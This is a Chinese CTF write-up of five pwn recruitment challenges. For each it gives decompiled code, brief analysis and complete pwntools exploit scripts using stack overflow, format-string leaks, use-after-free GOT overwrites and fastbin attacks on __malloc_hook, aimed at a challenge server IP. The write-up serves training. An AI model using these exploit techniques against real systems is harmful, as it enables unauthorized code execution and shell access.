华科一个新战队的招新题,正好最近没有兴致继续下去,来玩一玩招新题

stack

最简单的栈溢出

exp

1
2
3
4
5
6
7
8
9
10
11
from pwn import *

#sh = process('./stack')
sh =remote('159.65.68.241','10003')
sys_addr = 0x80491e2

pay = 'a'*0x3a +'bbbb'+p32(sys_addr)

sh.sendline(pay)

sh.interactive()

pubg

题目

先是一大段将随机值写入key.txt然后读出等等,然后将输入的值与读出的值进行比较,相等则进入overflow函数,栈溢出getshell就行。

分析

前面一大段其实是可以不用管的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int __fastcall sub_401DDC(int time, void *ptr)
{
char s; // [rsp+10h] [rbp-50h]
FILE *stream; // [rsp+50h] [rbp-10h]
unsigned int i; // [rsp+5Ch] [rbp-4h]

stream = fopen("./key.txt", "w");
for ( i = 0; time + 1 > i; ++i )
{
memset(&s, 0, 0x40uLL);
sub_401B55((__int64)ptr, (__int64)&s, 0x10u);
memset(ptr, 0, 0x40uLL);
strcpy((char *)ptr, &s);
}
fwrite(ptr, 0x20uLL, 1uLL, stream); // s --> file
return fclose(stream);
}

在这一段里可以发现如果输入的time=-1,那么整个写入的循环便会被跳过,随后输入空值便可以进入overflow函数,溢出getshell

需要注意的是前面需要先写入一次使得key.txt创建,如果文件已经创建的话其实就可以不用了。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
context.log_level='debug'
#p=process('./pubg')
p=remote('159.65.68.241',9001)
p.recvuntil('code')
p.sendline('2')
p.recvuntil(':')
p.sendline('-2')
time.sleep(5)
p.close()

#p=process('./pubg')
p=remote('159.65.68.241',9001)
p.recvuntil('code')
p.sendline('2')
p.recvuntil(':')
p.sendline('-1')
p.recvuntil(':')
p.send('\x00'*16)
p.recvuntil(':')
p.send('A'*0x28+p64(0x401BED))
p.interactive()

game

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
unsigned int Game()
{
unsigned int v0; // eax
unsigned int v1; // eax
char s; // [esp+Ch] [ebp-10Ch]
char v4; // [esp+106h] [ebp-12h]
char v5; // [esp+107h] [ebp-11h]
char v6; // [esp+108h] [ebp-10h]
char v7; // [esp+109h] [ebp-Fh]
char v8; // [esp+10Ah] [ebp-Eh]
unsigned int v9; // [esp+10Ch] [ebp-Ch]

v9 = __readgsdword(0x14u);
memset(&s, 0, 0x100u);
v0 = time(0);
srand(v0);
v4 = rand();
v5 = rand();
v6 = rand();
v7 = rand();
v8 = 0;


puts("What's your magic string?");
gets(&s);
v1 = Hash(&s);
if ( v1 == *(_DWORD *)&v4 )
{
puts("Congraz!! Your magic string is:");
printf(&s); // fmt
}
else
{
puts("Wrong!");
}
return __readgsdword(0x14u) ^ v9;
}

分析

有个明显的栈溢出与fmt漏洞,一共三次机会
思路便是输入格式化字符串并使用\x00截断,同时溢出至v4,因为hash中的算法已知且其使用strlen,因此可以利用其将输入的\x00之前的字符串的hash计算出来,并将其写入v4,这样通过检查,利用fmt漏洞分别泄露canary 与libc基址,最后一次覆盖栈返回地址为已给的hacker函数即可

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context.terminal=['bash']
#context.log_level='debug'
#p=process('./game')
p=remote('159.65.68.241',10002)
p.recvuntil('?')
p.sendline('%71$p'.ljust(250,b'\x00')+p32(0x365))
p.recvuntil(':\n')
canary=p.recvuntil('W')[:-1]
print('canary is '+ canary)
#gdb.attach(p)
#pause()
p.sendline('%3$p'.ljust(250,'\x00')+p32(0x19))
p.recvuntil(':\n')
base=p.recvuntil('W')[:-1]
print('base is '+ base)
p.sendline('\x00'*0x100+p32(int(canary,16))+'A'*12+p32(int(base[:-3]+'2f5',16)))
p.interactive()

vitamin

题目

简单的堆,基本上没有检查

分析

UAF将堆分配到bss段改buf指针指向got表,修改got表某个函数即可

(前面傻逼了好久,忘了开始的fork,调试attach不上进程,懵逼了好久)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import * 
context.log_level='debug'
p=process('./vitamin')
#p=remote('159.65.68.241', 10001)

def debug(addr = '0x400BC7'):
gdb.attach(proc.pidof(p)[0]+1, "b *" + addr)
raw_input('debug:')

def create(formula):
p.recvuntil(':\n')
p.sendline('1')
p.recvuntil(':\n')
p.sendline(formula)

def change(formula):
p.recvuntil(':\n')
p.sendline('3')
p.recvuntil(':\n')
p.sendline(formula)

def take():
p.recvuntil(':\n')
p.sendline('2') #debug()

free_got=0x602018
create('aaaa')
take()
change(p64(0x6020dd))
create(p64(0x6020dd))
create('A'*11+p64(free_got))
change(p64(0x400d58))
p.sendline('2')
take()
p.interactive()

store

题目

选项题,功能有add,read,sell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
    保护: 
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

int add_book()
{
size_t size; // [rsp+8h] [rbp-8h]

for ( HIDWORD(size) = 0; HIDWORD(size) <= 0xF && ptr[5 * HIDWORD(size)]; ++HIDWORD(size) )
;
if ( HIDWORD(size) == 16 )
puts("Too many books");


puts("What is the author name?");
readn(0x28LL * HIDWORD(size) + 0x602060, 0x1F);

puts("How long is the book name?");
_isoc99_scanf("%u", &size);

if ( (unsigned int)size > 0x50 )
return puts("Too big!");
ptr[5 * HIDWORD(size)] = malloc((unsigned int)size);
puts("What is the name of the book?");
readn(ptr[5 * HIDWORD(size)], size); // size==0 时,溢出
return puts("Done!");
}

// 漏洞函数
__int64 __fastcall readn(__int64 a1, int len)
{
__int64 result; // rax
unsigned int v3; // eax
unsigned __int8 buf; // [rsp+1Bh] [rbp-5h]
unsigned int v5; // [rsp+1Ch] [rbp-4h]

v5 = 0;
while ( 1 )
{
result = (unsigned int)(len - 1);
if ( (unsigned int)result <= v5 )
break;
read(0, &buf, 1uLL);
result = buf;
if ( buf == '\n' )
break;
v3 = v5++;
*(_BYTE *)(a1 + v3) = buf;
}
return result;
}

int sellbook()
{
unsigned int idx; // [rsp+Ch] [rbp-4h]

puts("Which book do you want to sell?");
_isoc99_scanf("%u", &idx);
if ( idx > 0x10 )
return puts("Out of bound!");
if ( !ptr[5 * idx] ) // ptr as inuse
return puts("No such book!");
free((void *)ptr[5 * idx]);
ptr[5 * idx] = 0LL; // ptr=0
return puts("Done!");
}

int readbook()
{
unsigned int idx; // [rsp+Ch] [rbp-4h]

puts("Which book do you want to sell?");
_isoc99_scanf("%u", &idx);
if ( idx > 0x10 )
return puts("Out of bound!");


if ( ptr[5 * idx] ) // 检查ptr
return printf("Author:%s\nBookname:%s\n", 0x28LL * idx + 0x602060, ptr[5 * idx]); ->%s泄漏信息
return puts("No such book!");
}

分析

在输入size为0时readn函数漏洞,此时可以输入无限长度,可以溢出。结合readbook函数可以泄露堆地址;

fastbin attack将chunk分配到bss段存储指针及author name的地方,修改指针为某一函数got地址计算得到libc基址。

之后就需要getshell了,想法有:

  1. 写got表,但是full relro,所以不行;
  2. 复写malloc_hook或free_hook,这个尝试了半天,因为在malloc_hook附近分配时需要用0x7f绕过大小检查,但是用户自己申请的大小最大为0x50,最终size最大便是0x60,于是想直接在bss段伪造0x70大小的chunk,并free掉,但是坑爹的是bss段一共就只有0x7f大小。。。最终放弃;
  3. 无奈之下,尝试将chunk分配到栈中覆盖返回地址,终于getshell!!

从出题的学长那里学到了另一种思路

  1. 利用fastbin attack将一个伪造的size作为fd放入fastbinY中,而该指针会在main_arena 处存放,然后我们可以将其作为fakechunk的size,将chunk分配到main_arena处
  2. 分配过去之后,就可以修改main_arena处存放的top chunk地址,此时将top chunk地址提到malloc hook之上,再次申请一个chunk,如果选择的size在fastbinY中不存在,那么便会从topchunk中切割,也就会分配到malloc hook之上
  3. 修改最后一个chunk的内容即修改malloc hook的值

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
from pwn import *
context.log_level='debug'
#sh= process('./book')#['./book'],env={"LD_PRELOAD":"./libc-2.23.so"})
sh =remote('159.65.68.241','10004')
elf = ELF('./book')
libc = ELF('libc-2.23.so')

def add(a_name,size,b_name):
sh.recvuntil('Your choice:\n')
sh.sendline('1')
sh.recvuntil('author name?\n')
sh.sendline(a_name)
sh.recvuntil('book name?\n')
sh.sendline(str(size))
sh.recvuntil('book?\n')
sh.sendline(b_name)

def read(idx):
sh.recvuntil('Your choice:\n')
sh.sendline('3')
sh.recvuntil('sell?\n')
sh.sendline(str(idx))

def delete(idx):
sh.recvuntil('Your choice:\n')
sh.sendline('2')
sh.recvuntil('sell?\n')
sh.sendline(str(idx))

add('a',0,'b')
add('c',0,'d')
add('e',0,'f')
add('g',0,'h')
add('i',0,'j')
#--------leak heap_base-----------------#
delete(2)
delete(1)
delete(0)

add(p64(0)+p64(0x21),0,'b'*0x20)
read(0)
sh.recvuntil('b'*0x20)
heap_base = u64(sh.recvuntil('\n').strip('\n').ljust(8,'\x00'))-0x40
print 'heap_base : '+hex(heap_base)
#gdb.attach(sh)

#---------fastbin_attack leak libc_base-----------------#
delete(4)
delete(3)
add('A',0,'b'*0x10+p64(0)+p64(0x21)+p64(0x602060))
add('f',0,'wwwwwwww')
add('a',0,'a'*0x10+p64(elf.got['puts']))
#gdb.attach(sh)
read(0)
sh.recvuntil('name:')
puts_got = u64(sh.recvuntil('\n').strip('\n').ljust(8,'\x00'))
libc_base = puts_got- libc.symbols['puts']
print 'libc_base : '+hex(libc_base)
environ_ptr_addr = libc_base + libc.symbols['_environ']
print 'environ_ptr_addr : '+ hex(environ_ptr_addr)
#gdb.attach(sh)

#---------get shell-------------------------------#
one_gadget_off = 0x45216
one_gadget_addr = one_gadget_off + libc_base
malloc_hook_addr = libc_base + 0x3c4b10
delete(3)
add('a',0,'b'*0x10+p64(environ_ptr_addr))
read(0)
sh.recvuntil('name:')
environ_addr = u64(sh.recvuntil('\n').strip('\n').ljust(8,'\x00'))
rbp_addr = environ_addr-0xf8
print 'one_gadget_addr : '+hex(one_gadget_addr)
print 'malloc_hook_addr : '+hex(malloc_hook_addr)
print 'rbp_addr : '+hex(rbp_addr)


delete(3)
add('a',0,'b'*0x10+p64(0x602070)+p64(0x21)+'b'*0x18+p64(0x41)+'c'*0x20+p64(0x6020b0)+'d'*0x10+p64(0x21))
delete(2)
delete(0)
#gdb.attach(sh)
add('a',0,'b'*0x10+p64(0x602070)+p64(0x21)+'b'*0x18+p64(0x41)+p64(rbp_addr-0x1e))
#gdb.attach(sh)
add('\n',0x30,'\n')
#gdb.attach(sh)
add('c',0x30,'a'*0x16+p64(one_gadget_addr))
#gdb.attach(sh)
sh.sendline('4')
#gdb.attach(sh)
sh.interactive()






from pwn import *

p=process("./book")
#p=remote("159.65.68.241","10004")
libc = ELF("./libc-2.23.so",checksec=False)
malloc_hook = libc.symbols["__malloc_hook"]
def add(name,size,content):
p.sendlineafter("choice:", "1")
p.sendlineafter("name?",name)
p.sendlineafter("name?",str(size))
p.sendlineafter("book",content)

def delete(index):
p.sendlineafter("choice:","2")
p.sendlineafter("sell?",str(index))

def read(index):
p.sendlineafter("choice:","3")
p.sendlineafter("sell?",str(index))

code = ELF("./book",checksec=False)
puts_got = code.got["puts"]


add("1",0,"a") #0
add("2",0x40,"b") #1
add("fence",0,p64(0xdeadbeef)) #2

delete(1)
delete(0)

add(p64(0x51)*2,0,"a"*0x18+p64(0x51)+p64(0x602060)) #0
add("b",0x40,"b") #1
add("c",0x40,"c"*0x10+p64(puts_got)) #3



read(0)
p.recvuntil("name:")
puts_addr = p.recv(6)+"\x00"*2
puts_addr = u64(puts_addr)
libc_base = puts_addr - libc.symbols["puts"]
print(hex(libc_base))
print("-------------------")

add("d",0,"d") #4
add("e",0x50,"e") #5
add("fence",0,p64(0xdeadbeef)) #6

#gdb.attach(p)
delete(5)
delete(4)
#gdb.attach(p)

add("d",0,"d"*0x18+p64(0x61)+p64(0x51)+"123") #4
add("e",0x50,"e") #5
#gdb.attach(p)
add("g",0,"d") #6
add("h",0x40,"e") #7
#gdb.attach(p)
add("fence",0,p64(0xdeadbeef)) #8
#gdb.attach(p)

delete(8)
delete(7)

add("g",0,"g"*0x18+p64(0x51)+p64(libc_base+0x3c4b40)+"123") #8
#gdb.attach(p)
add("h",0x40,"g") #7
print hex(libc_base+0x3c4b40)

#gdb.attach(p)
add("i",0x40,p64(0)*5+p64(libc_base+0x3c4b00)) #9
#gdb.attach(p)
add("exp",0,p64(libc_base+0x4526a)) #10
print hex(libc_base+0x4526a)
#gdb.attach(p)

p.sendlineafter("choice:", "1")
p.sendlineafter("name?","aaa")
p.sendlineafter("name?","0")
p.interactive()